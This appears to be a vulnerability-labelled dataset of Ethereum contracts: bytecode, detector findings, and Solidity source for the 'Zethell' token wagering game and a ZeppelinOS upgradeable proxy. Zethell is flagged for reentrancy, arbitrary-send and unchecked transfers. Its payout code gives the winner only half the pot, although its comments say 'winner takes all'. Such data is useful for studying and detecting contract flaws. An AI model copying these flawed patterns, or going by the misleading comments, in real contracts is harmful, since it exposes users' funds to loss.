908c908c90899089908e90600401611484565b600060405180830381600087803b15801561058a57600080fd5b505af115801561059e573d6000803e3d6000fd5b505050507fe16bf114d42e1c89fce0154b6d5c527b5b11b50e59080f64279c696652bb0491888860008181106105d6576105d6611616565b90506020020160208101906105eb9190611148565b604080516001600160a01b039283168152918916602083015281018c905260600160405180910390a150505050505050505050565b6000546001600160a01b0316331461064a5760405162461bcd60e51b815260040161023c9061144f565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106965760405162461bcd60e51b815260040161023c9061144f565b6001600160a01b03811660009081526003602052604090205460ff166106fe5760405162461bcd60e51b815260206004820152601b60248201527f41646472657373206973206e6f74206164646564206173206170700000000000604482015260640161023c565b6001600160a01b03166000908152600360205260409020805460ff19169055565b6000546001600160a01b031633146107495760405162461bcd60e51b815260040161023c9061144f565b6001600160a01b0381166107ae5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161023c565b6107b7816107ba565b50565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040516301ffc9a760e01b8152639a8ac1ef60e01b60048201526000906001600160a01b038816906301ffc9a79060240160206040518083038186803b15801561085357600080fd5b505afa158015610867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088b9190611266565b15610a2357604051639a8ac1ef60e01b8152600481018990526024810185905260009081906001600160a01b038a1690639a8ac1ef9060440160006040518083038186803b1580156108dc57600080fd5b505afa1580156108f0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610918919081019061119a565b8151919350915060005b81811015610a1a5782818151811061093c5761093c611616565b60200260200101518561094f9190611575565b94507f000000000000000000000000874f15088843949fa6ac0834a9933b57e6edfd086001600160a01b031663da3e8ce4878b87858151811061099457610994611616565b60200260200101518786815181106109ae576109ae611616565b60200260200101516040518563ffffffff1660e01b81526004016109d594939291906113e4565b600060405180830381600087803b1580156109ef57600080fd5b505af1158015610a03573d6000803e3d6000fd5b505050508080610a12906115e5565b915050610922565b50505050610bd1565b6040516301ffc9a760e01b815263152a902d60e11b60048201526001600160a01b038816906301ffc9a79060240160206040518083038186803b158015610a6957600080fd5b505afa158015610a7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa19190611266565b15610bd15760405163152a902d60e11b8152600481018990526024810185905260009081906001600160a01b038a1690632a55205a90604401604080518083038186803b158015610af157600080fd5b505afa158015610b05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b29919061116c565b91509150816001600160a01b0316886001600160a01b031614610bce578092507f000000000000000000000000874f15088843949fa6ac0834a9933b57e6edfd086001600160a01b031663da3e8ce4858985856040518563ffffffff1660e01b8152600401610b9b94939291906113e4565b600060405180830381600087803b158015610bb557600080fd5b505af1158015610bc9573d6000803e3d6000fd5b505050505b50505b60015460405163468c75a160e01b81526001600160a01b038881166004830152600092169063468c75a19060240160206040518083038186803b158015610c1757600080fd5b505afa158015610c2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4f9190611288565b9050600084612710610c6184896115af565b610c6b919061158d565b610c759190611575565b9050600083610c8483896115ce565b610c8e91906115ce565b60405163368fa33960e21b81529091506001600160a01b037f000000000000000000000000874f15088843949fa6ac0834a9933b57e6edfd08169063da3e8ce490610ce39088908c908e9087906004016113e4565b600060405180830381600087803b158015610cfd57600080fd5b505af1158015610d11573d6000803e3d6000fd5b505060025460405163368fa33960e21b81526001600160a01b037f000000000000000000000000874f15088843949fa6ac0834a9933b57e6edfd088116945063da3e8ce49350610d6e928a928e92919091169088906004016113e4565b600060405180830381600087803b158015610d8857600080fd5b505af1158015610d9c573d6000803e3d6000fd5b505050505050505050505050505050565b6001546000906001600160a01b031663468c75a18a8a8481610dd157610dd1611616565b9050602002016020810190610de69190611148565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b158015610e2557600080fd5b505afa158015610e39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5d9190611288565b9050600083612710610e6f84886115af565b610e79919061158d565b610e839190611575565b90506000610e9182876115ce565b905060008a815b81811015610ed8578b8b82818110610eb257610eb2611616565b9050602002013583610ec49190611575565b925080610ed0816115e5565b915050610e98565b50610ee9868a8f8f8f8f8989610f81565b60025460405163368fa33960e21b81526001600160a01b037f000000000000000000000000874f15088843949fa6ac0834a9933b57e6edfd0881169263da3e8ce492610f40928b928f929116908a906004016113e4565b600060405180830381600087803b158015610f5a57600080fd5b505af1158015610f6e573d6000803e3d6000fd5b5050505050505050505050505050505050565b8460005b8181101561107e57600083878784818110610fa257610fa2611616565b9050602002013586610fb491906115af565b610fbe919061158d565b90507f000000000000000000000000874f15088843949fa6ac0834a9933b57e6edfd086001600160a01b031663da3e8ce48c8c8c8c8781811061100357611003611616565b90506020020160208101906110189190611148565b856040518563ffffffff1660e01b815260040161103894939291906113e4565b600060405180830381600087803b15801561105257600080fd5b505af1158015611066573d6000803e3d6000fd5b50505050508080611076906115e5565b915050610f85565b50505050505050505050565b60008083601f84011261109c57600080fd5b50813567ffffffffffffffff8111156110b457600080fd5b6020830191508360208260051b85010111156110cf57600080fd5b9250929050565b600082601f8301126110e757600080fd5b815160206110fc6110f783611551565b611520565b80838252828201915082860187848660051b890101111561111c57600080fd5b60005b8581101561113b5781518452928401929084019060010161111f565b5090979650505050505050565b60006020828403121561115a57600080fd5b813561116581611642565b9392505050565b6000806040838503121561117f57600080fd5b825161118a81611642565b6020939093015192949293505050565b600080604083850312156111ad57600080fd5b825167ffffffffffffffff808211156111c557600080fd5b818501915085601f8301126111d957600080fd5b815160206111e96110f783611551565b8083825282820191508286018a848660051b890101111561120957600080fd5b600096505b8487101561123557805161122181611642565b83526001969096019591830191830161120e565b509188015191965090935050508082111561124f57600080fd5b5061125c858286016110d6565b9150509250929050565b60006020828403121561127857600080fd5b8151801515811461116557600080fd5b60006020828403121561129a57600080fd5b5051919050565b600080600080600080600060e0888a0312156112bc57600080fd5b8735965060208801356112ce81611642565b955060408801356112de81611642565b945060608801356112ee81611642565b93506080880135925060a0880135915060c088013561130c81611642565b8091505092959891949750929550565b6000806000806000806000806000806101008b8d03121561133c57600080fd5b8a35995060208b013561134e81611642565b985060408b013567ffffffffffffffff8082111561136b57600080fd5b6113778e838f0161108a565b909a50985060608d0135915061138c82611642565b90965060808c0135955060a08c0135945060c08c013590808211156113b057600080fd5b506113bd8d828e0161108a565b90945092505060e08b01356113d181611642565b809150509295989b9194979a5092959850565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b60208082526021908201527f50726963652073686f756c642062652067726561746572207468616e207a65726040820152606f60f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b86815260806020808301829052908201869052600090879060a08401835b898110156114d05783356114b581611642565b6001600160a01b0316825292820192908201906001016114a2565b5084810360408601528681526001600160fb1b038711156114f057600080fd5b8660051b925082888383013760009201019081526001600160a01b03841660608401529050979650505050505050565b604051601f8201601f1916810167ffffffffffffffff811182821017156115495761154961162c565b604052919050565b600067ffffffffffffffff82111561156b5761156b61162c565b5060051b60200190565b6000821982111561158857611588611600565b500190565b6000826115aa57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156115c9576115c9611600565b500290565b6000828210156115e0576115e0611600565b500390565b60006000198214156115f9576115f9611600565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107b757600080fdfea26469706673582212205d1281345421ba361b84403dfed673c1a54d6c139b1eae609c6ff991921cfec664736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,178 |
0x9caf6df977bc4afad838f00f8819cc2d1d63d6a2
|
pragma solidity ^0.4.23;
/*
* Zethell.
*
* Written June 2018 for Zethr (https://www.zethr.game) by Norsefire.
* Special thanks to oguzhanox and Etherguy for assistance with debugging.
*
*/
contract ZTHReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function balanceOf(address who) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zethell is ZTHReceivingContract {
using SafeMath for uint;
address private owner;
address private bankroll;
// How much of the current token balance is reserved as the house take?
uint private houseTake;
// How many tokens are currently being played for? (Remember, this is winner takes all)
uint public tokensInPlay;
// The token balance of the entire contract.
uint public contractBalance;
// Which address is currently winning?
address public currentWinner;
// What time did the most recent clock reset happen?
uint public gameStarted;
// What time will the game end if the clock isn't reset?
uint public gameEnds;
// Is betting allowed? (Administrative function, in the event of unforeseen bugs)
bool public gameActive;
address private ZTHTKNADDR;
address private ZTHBANKROLL;
ZTHInterface private ZTHTKN;
mapping (uint => bool) validTokenBet;
mapping (uint => uint) tokenToTimer;
// Fire an event whenever the clock runs out and a winner is determined.
event GameEnded(
address winner,
uint tokensWon,
uint timeOfWin
);
// Might as well notify everyone when the house takes its cut out.
event HouseRetrievedTake(
uint timeTaken,
uint tokensWithdrawn
);
// Fire an event whenever someone places a bet.
event TokensWagered(
address _wagerer,
uint _wagered,
uint _newExpiry
);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyBankroll {
require(msg.sender == bankroll);
_;
}
modifier onlyOwnerOrBankroll {
require(msg.sender == owner || msg.sender == bankroll);
_;
}
constructor(address ZethrAddress, address BankrollAddress) public {
// Set Zethr & Bankroll address from constructor params
ZTHTKNADDR = ZethrAddress;
ZTHBANKROLL = BankrollAddress;
// Set starting variables
owner = msg.sender;
bankroll = ZTHBANKROLL;
currentWinner = msg.sender;
// Approve "infinite" token transfer to the bankroll, as part of Zethr game requirements.
ZTHTKN = ZTHInterface(ZTHTKNADDR);
ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1);
// To start with, we only allow bets of 5, 10, 25 or 50 ZTH.
validTokenBet[1e18] = true;
validTokenBet[2e18] = true;
validTokenBet[5e18] = true;
validTokenBet[10e18] = true;
// Logarithmically decreasing time 'bonus' associated with higher amounts of ZTH staked.
tokenToTimer[1e18] = 60 minutes;
tokenToTimer[2e18] = 50 minutes;
tokenToTimer[5e18] = 30 minutes;
tokenToTimer[10e18] = 1 minutes;
// Set the initial timers to contract genesis.
gameStarted = now;
gameEnds = gameStarted.add(24 hours);
gameActive = true;
}
// Zethr dividends gained are sent to Bankroll later
function() public payable { }
// If the contract receives tokens, bundle them up in a struct and fire them over to _stakeTokens for validation.
struct TKN { address sender; uint value; }
function tokenFallback(address _from, uint _value, bytes /* _data */) public returns (bool){
if(_from != ZTHBANKROLL){
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
_stakeTokens(_tkn);
return true;
}else{
contractBalance = contractBalance.add(_value);
tokensInPlay = tokensInPlay.add(_value);
}
}
// First, we check to see if the tokens are ZTH tokens. If not, we revert the transaction.
// Next - if the game has already ended (i.e. your bet was too late and the clock ran out)
// the staked tokens from the previous game are transferred to the winner, the timers are
// reset, and the game begins anew.
// If you're simply resetting the clock, the timers are reset accordingly and you are designated
// the current winner. A 1% cut will be taken for the house, and the rest deposited in the prize
// pool which everyone will be playing for. No second place prizes here!
function _stakeTokens(TKN _tkn) private {
require(gameActive);
require(_zthToken(msg.sender));
require(validTokenBet[_tkn.value]);
if (now > gameEnds) { _settleAndRestart(); }
address _customerAddress = _tkn.sender;
uint _wagered = _tkn.value;
uint rightNow = now;
uint timePurchased = tokenToTimer[_tkn.value];
uint newGameEnd = gameEnds.add(timePurchased);
if(newGameEnd.sub(rightNow) > 24 hours){newGameEnd = rightNow.add(24 hours);}
//gameStarted = rightNow;
gameEnds = newGameEnd;
currentWinner = _customerAddress;
contractBalance = contractBalance.add(_wagered);
uint houseCut = _wagered.div(100);
uint toAdd = _wagered.sub(houseCut);
houseTake = houseTake.add(houseCut);
tokensInPlay = tokensInPlay.add(toAdd);
emit TokensWagered(_customerAddress, _wagered, newGameEnd);
}
// In the event of a game restart, subtract the tokens which were being played for from the balance,
// transfer them to the winner (if the number of tokens is greater than zero: sly edge case).
// If there is *somehow* any Ether in the contract - again, please don't - it is transferred to the
// bankroll and reinvested into Zethr at the standard 33% rate.
function _settleAndRestart() private {
gameActive = false;
uint payment = tokensInPlay/2;
contractBalance = contractBalance.sub(payment);
if (tokensInPlay > 0) { ZTHTKN.transfer(currentWinner, payment);
if (address(this).balance > 0){
ZTHBANKROLL.transfer(address(this).balance);
}}
emit GameEnded(currentWinner, payment, now);
// Reset values.
tokensInPlay = tokensInPlay.sub(payment);
gameActive = true;
gameStarted = now;
gameEnds = gameStarted.add(24 hours);
}
// How many tokens are in the contract overall?
function balanceOf() public view returns (uint) {
return contractBalance;
}
// Administrative function for adding a new token-time pair, should there be demand.
function addTokenTime(uint _tokenAmount, uint _timeBought) public onlyOwner {
validTokenBet[_tokenAmount] = true;
tokenToTimer[_tokenAmount] = _timeBought;
}
// Administrative function to REMOVE a token-time pair, should one fall out of use.
function removeTokenTime(uint _tokenAmount) public onlyOwner {
validTokenBet[_tokenAmount] = false;
tokenToTimer[_tokenAmount] = 232 days;
}
// Function to pull out the house cut to the bankroll if required (i.e. to seed other games).
function retrieveHouseTake() public onlyOwnerOrBankroll {
uint toTake = houseTake;
houseTake = 0;
contractBalance = contractBalance.sub(toTake);
ZTHTKN.transfer(bankroll, toTake);
emit HouseRetrievedTake(now, toTake);
}
function ownerKill() public onlyOwner {
ZTHTKN.transfer(bankroll, ZTHTKN.balanceOf(address(this)));
selfdestruct(bankroll);
}
// If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets.
function pauseGame() public onlyOwner {
gameActive = false;
}
// The converse of the above, resuming betting if a freeze had been put in place.
function resumeGame() public onlyOwner {
gameActive = true;
}
// Administrative function to change the owner of the contract.
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
// Administrative function to change the Zethr bankroll contract, should the need arise.
function changeBankroll(address _newBankroll) public onlyOwner {
bankroll = _newBankroll;
}
// Is the address that the token has come from actually ZTH?
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
}
// And here's the boring bit.
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106100e55763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633cc4c6ce81146100e7578063499831f2146100fc5780635e123ce414610111578063722713f7146101385780638b7afe2e1461014d5780638d70212214610162578063a378bba514610177578063a6f9dae11461018c578063a78bcf6e146101ad578063aabe2fe3146101ce578063afa9a86e146101ff578063c0ee0b8a14610214578063d6ccf7a714610291578063f020044f146102ac578063f41f4b10146102c1578063f79d6687146102d6575b005b3480156100f357600080fd5b506100e56102ee565b34801561010857600080fd5b506100e5610314565b34801561011d57600080fd5b50610126610337565b60408051918252519081900360200190f35b34801561014457600080fd5b5061012661033d565b34801561015957600080fd5b50610126610343565b34801561016e57600080fd5b506100e5610349565b34801561018357600080fd5b5061012661049f565b34801561019857600080fd5b506100e5600160a060020a03600435166104a5565b3480156101b957600080fd5b506100e5600160a060020a03600435166104eb565b3480156101da57600080fd5b506101e3610531565b60408051600160a060020a039092168252519081900360200190f35b34801561020b57600080fd5b50610126610540565b34801561022057600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261027d948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506105469650505050505050565b604080519115158252519081900360200190f35b34801561029d57600080fd5b506100e56004356024356105bf565b3480156102b857600080fd5b5061027d6105fd565b3480156102cd57600080fd5b506100e5610606565b3480156102e257600080fd5b506100e5600435610732565b600054600160a060020a0316331461030557600080fd5b6008805460ff19166001179055565b600054600160a060020a0316331461032b57600080fd5b6008805460ff19169055565b60065481565b60045490565b60045481565b600054600160a060020a0316331461036057600080fd5b600a54600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a039384169363a9059cbb93169184916370a08231916024808201926020929091908290030181600087803b1580156103d357600080fd5b505af11580156103e7573d6000803e3d6000fd5b505050506040513d60208110156103fd57600080fd5b5051604080517c010000000000000000000000000000000000000000000000000000000063ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561046557600080fd5b505af1158015610479573d6000803e3d6000fd5b505050506040513d602081101561048f57600080fd5b5050600154600160a060020a0316ff5b60075481565b600054600160a060020a031633146104bc57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461050257600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600160a060020a031681565b60035481565b6000610550610b28565b600954600160a060020a0386811691161461058a57600160a060020a03851681526020810184905261058181610772565b600191506105b7565b60045461059d908563ffffffff61092b16565b6004556003546105b3908563ffffffff61092b16565b6003555b509392505050565b600054600160a060020a031633146105d657600080fd5b6000918252600b60209081526040808420805460ff19166001179055600c90915290912055565b60085460ff1681565b60008054600160a060020a031633148061062a5750600154600160a060020a031633145b151561063557600080fd5b50600280546000909155600454610652908263ffffffff61094116565b6004908155600a54600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831694810194909452602484018590525191169163a9059cbb9160448083019260209291908290030181600087803b1580156106c857600080fd5b505af11580156106dc573d6000803e3d6000fd5b505050506040513d60208110156106f257600080fd5b5050604080514281526020810183905281517f95a874a43e2b35cd8dd5c26d75b8c95ea2cd8152f17d40ac971f7844a976f051929181900390910190a150565b600054600160a060020a0316331461074957600080fd5b6000908152600b60209081526040808320805460ff19169055600c9091529020630131dc009055565b6000806000806000806000600860009054906101000a900460ff16151561079857600080fd5b6107a133610953565b15156107ac57600080fd5b6020808901516000908152600b909152604090205460ff1615156107cf57600080fd5b6007544211156107e1576107e161096c565b87516020808a01516000818152600c9092526040909120546007549299509097504296509450610817908563ffffffff61092b16565b92506201518061082d848763ffffffff61094116565b111561084957610846856201518063ffffffff61092b16565b92505b60078390556005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038916179055600454610883908761092b565b60045561089786606463ffffffff610b1116565b91506108a9868363ffffffff61094116565b6002549091506108bf908363ffffffff61092b16565b6002556003546108d5908263ffffffff61092b16565b60035560408051600160a060020a03891681526020810188905280820185905290517ff6dbe9ed7a14e9a58a34b1833a363a95a7d19a785c6657b8aeea89c18b80752b9181900360600190a15050505050505050565b60008282018381101561093a57fe5b9392505050565b60008282111561094d57fe5b50900390565b6008546101009004600160a060020a0390811691161490565b6008805460ff19169055600354600454600290910490610992908263ffffffff61094116565b60045560035460001015610a8457600a54600554604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b158015610a1257600080fd5b505af1158015610a26573d6000803e3d6000fd5b505050506040513d6020811015610a3c57600080fd5b5050600030311115610a8457600954604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610a82573d6000803e3d6000fd5b505b60055460408051600160a060020a039092168252602082018390524282820152517f8420a32dd381606a863bf5711eb04325b7da1cb03e87d6167fab0afe1a9da80c9181900360600190a1600354610ae2908263ffffffff61094116565b6003556008805460ff19166001179055426006819055610b0b906201518063ffffffff61092b16565b60075550565b6000808284811515610b1f57fe5b04949350505050565b6040805180820190915260008082526020820152905600a165627a7a72305820550ebafb7dc14ee8efa36cdd55d611acb06ff2ab8728bed2571a37d646a88c6f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,179 |
0xc229c69eb3bb51828d0caa3509a05a51083898dd
|
pragma solidity 0.4.24;
// File: zos-lib/contracts/upgradeability/Proxy.sol
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
// File: openzeppelin-solidity/contracts/AddressUtils.sol
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
// File: zos-lib/contracts/upgradeability/UpgradeabilityProxy.sol
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is
* validated in the constructor.
*/
bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
/**
* @dev Contract constructor.
* @param _implementation Address of the initial implementation.
*/
constructor(address _implementation) public {
assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation"));
_setImplementation(_implementation);
}
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) private {
require(AddressUtils.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
// File: zos-lib/contracts/upgradeability/AdminUpgradeabilityProxy.sol
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "org.zeppelinos.proxy.admin", and is
* validated in the constructor.
*/
bytes32 private constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* Contract constructor.
* It sets the `msg.sender` as the proxy administrator.
* @param _implementation address of the initial implementation.
*/
constructor(address _implementation) UpgradeabilityProxy(_implementation) public {
assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin"));
_setAdmin(msg.sender);
}
/**
* @return The address of the proxy admin.
*/
function admin() external view ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external view ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be
* called, as described in
* https://solidity.readthedocs.io/en/develop/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes data) payable external ifAdmin {
_upgradeTo(newImplementation);
require(address(this).call.value(msg.value)(data));
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
// File: contracts/PintuTokenProxy.sol
/**
* @title PintuTokenProxy
* @dev This contract proxies PintuToken calls and enables PintuToken upgrades
*/
contract PintuTokenProxy is AdminUpgradeabilityProxy {
constructor(address _implementation) public AdminUpgradeabilityProxy(_implementation) {
}
}
|
0x60806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633659cfe6146100775780634f1ef286146100ba5780635c60da1b146101085780638f2839701461015f578063f851a440146101a2575b6100756101f9565b005b34801561008357600080fd5b506100b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610213565b005b610106600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001919091929391929390505050610268565b005b34801561011457600080fd5b5061011d610308565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016b57600080fd5b506101a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610360565b005b3480156101ae57600080fd5b506101b761051e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610201610576565b61021161020c610651565b610682565b565b61021b6106a8565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561025c57610257816106d9565b610265565b6102646101f9565b5b50565b6102706106a8565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102fa576102ac836106d9565b3073ffffffffffffffffffffffffffffffffffffffff163483836040518083838082843782019150509250505060006040518083038185875af19250505015156102f557600080fd5b610303565b6103026101f9565b5b505050565b60006103126106a8565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103545761034d610651565b905061035d565b61035c6101f9565b5b90565b6103686106a8565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561051257600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610466576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001807f43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f81526020017f787920746f20746865207a65726f20616464726573730000000000000000000081525060400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61048f6106a8565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390